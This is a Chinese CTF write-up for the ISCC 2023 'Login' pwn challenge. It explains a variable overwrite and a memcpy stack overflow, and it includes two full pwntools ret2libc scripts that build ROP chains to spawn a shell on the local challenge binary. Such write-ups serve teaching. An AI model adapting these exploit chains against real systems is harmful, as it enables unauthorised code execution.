收获

  • 经典的 ret2libc 问题,需要结合动态调试来确定程序泄露的具体函数名

  • 需注意实际的字节数,不要下意识就 64 位程序用 p64(),32 位程序用 p32()

  • 结合动态调试,有时候需要注意 io.send()io.sendline()

  • 注意 libc 版本问题,libc 版本不一致计算偏移也会不一样


(2023年5月1日-2023年5月25日)【ISCC 2023】Login


思路

题目给出了 libc 文件:

ISCC2023-Login2.png

分析文件并运行:

ISCC2023-Login1.png

在 IDA 下分析:

ISCC2023-Login3.png

逻辑比较简单,首先程序会在运行中给出 stdin 的真实地址

需要满足 v6 = 365696460 才能继续往下,观察一下 v6 在栈中的位置:

ISCC2023-Login4.png

由于 buf 输入的长度为 0x20,无法覆盖返回地址,但是可以覆盖 v6 的值,因此可以修改 v6 为 365696460 (0x15CC15CC)

注意:

这里 v6 为 4 字节,需要 buf 先填充 0x20 - 0x4 个垃圾字符到达

修改 v6 的值应该为:p32(365696460)p32(0x15CC15CC)b'\xCC\x15\xCC\x15'不要因为是 64 位程序就下意识写成 p64(365696460)

绕过 if 判断后,read() 函数又可以输入 0x100,但是在栈中 v4 位于 rbp - 120h 处,因此同样无法覆盖返回地址

进入到 print_name() 函数中:

ISCC2023-Login5.png

这里使用 memcpy() 将 v4 复制到 dest 中,由于 dest 长度只有 32,位于 rbp - 20h 处,因此可以通过 v4 来赋值 dest 覆盖到返回地址

不过程序中既没有 "/bin/sh" 也没有后门函数:

ISCC2023-Login6.png

由于给出了 libc 文件,因此考虑使用 ret2libc

需要注意这里给出的 stdin 的地址,跟进一下:

ISCC2023-Login7.png

ISCC2023-Login8.png

在编写脚本时发现在 libc 中寻找 stdin 的地址来计算偏移是不对的,动态调试一下看看

单步执行到 printf("Here is a tip: %p\n", stdin) 这一句:

ISCC2023-Login9.png

发现传给 printf() 的参数是 _IO_2_1_stdin_ 而不是 stdin,因此应该在 libc 中寻找 _IO_2_1_stdin_ 的地址来计算偏移

获取 gadget 地址:

ISCC2023-Login10.png

当然,不使用程序直接给出的 stdin 也是可以的,我们可以自己通过 puts() 函数来泄露其他函数的地址,然后计算偏移


脚本一

直接使用程序输出的 _IO_2_1_stdin_ 地址来 getshell (使用 stdin 是不行的)

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

io = process('./Login')

elf = ELF('./Login')
libc = ELF('./libc-2.23.so')

io.recvuntil(b"Here is a tip: ")
stdin_addr = int(io.recvuntil(b"\n", drop='\n'), 16) # 获取程序输出的地址
print(hex(stdin_addr))

io.recvuntil(b"input the username:\n")
payload = b'a' * (0x20 - 0x4) + p32(365696460) # 修改 v6 绕过 if
io.send(payload)

# 利用 _IO_2_1_stdin_ 计算 libc 偏移
libcbase = stdin_addr - libc.symbols['_IO_2_1_stdin_']
system_addr = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))

pop_rdi_ret = 0x4008c3 # 64 位传参
ret = 0x400599 # 用于堆栈平衡(glibc 2.27 以下可以不加 ret, 不影响程序执行流)

io.recvuntil(b"input the password:\n")
payload = b'a' * (0x20 + 0x8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr)

io.sendline(payload)

io.interactive()

结果一

ISCC2023-Login11.png


脚本二

使用两次 ROP 获取 puts 的真实地址来计算偏移 getshell

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

io = process('./Login')

elf = ELF('./Login')
libc = ELF('./libc-2.23.so')

io.recvuntil(b"Here is a tip: ")
stdin_addr = int(io.recvuntil(b"\n", drop='\n'), 16)
print(hex(stdin_addr))

# 第一次 ROP 泄露程序中 puts() 的真实地址
io.recvuntil(b"input the username:\n")
payload = b'a' * (0x20 - 0x4) + p32(365696460)
io.send(payload)

pop_rdi_ret = 0x4008c3
ret = 0x400599 # 用于堆栈平衡(glibc 2.27 以下可以不加 ret, 不影响程序执行流)
puts_plt_addr = elf.plt['puts']
puts_got_addr = elf.got['puts']
main_addr = elf.symbols['main']

io.recvuntil(b"input the password:\n")
payload = b'a' * (0x20 + 0x8) + p64(pop_rdi_ret) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(main_addr)
io.send(payload)

# 记录泄露出的 puts() 的真实地址
io.recvlines(1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))

# 第二次 ROP 来 getshell
io.recvuntil(b"input the username:\n")
payload = b'a' * (0x20 - 0x4) + p32(365696460)
io.send(payload)

libcbase = puts_addr - libc.symbols['puts']
system_addr = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))

io.recvuntil(b"input the password:\n")
payload = b'a' * (0x20 + 0x8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system_addr)

io.sendline(payload)

io.interactive()

结果二

ISCC2023-Login12.png


上述两个脚本只适用于旧版本的 Ubuntu,例如 Ubuntu 16.04,如果使用 Ubuntu 22.04 这种会发现同样的 exp 却无法 getshell

原因在于程序使用的 libc 与 Ubuntu 22.04 的 libc 版本不同,而 libc 版本依赖于 ld 版本,所以如果在 Ubuntu 22.04 下强行使用题目提供的 libc 来运行程序会使程序发生崩溃

详见本站《PWN中程序的libc问题》一文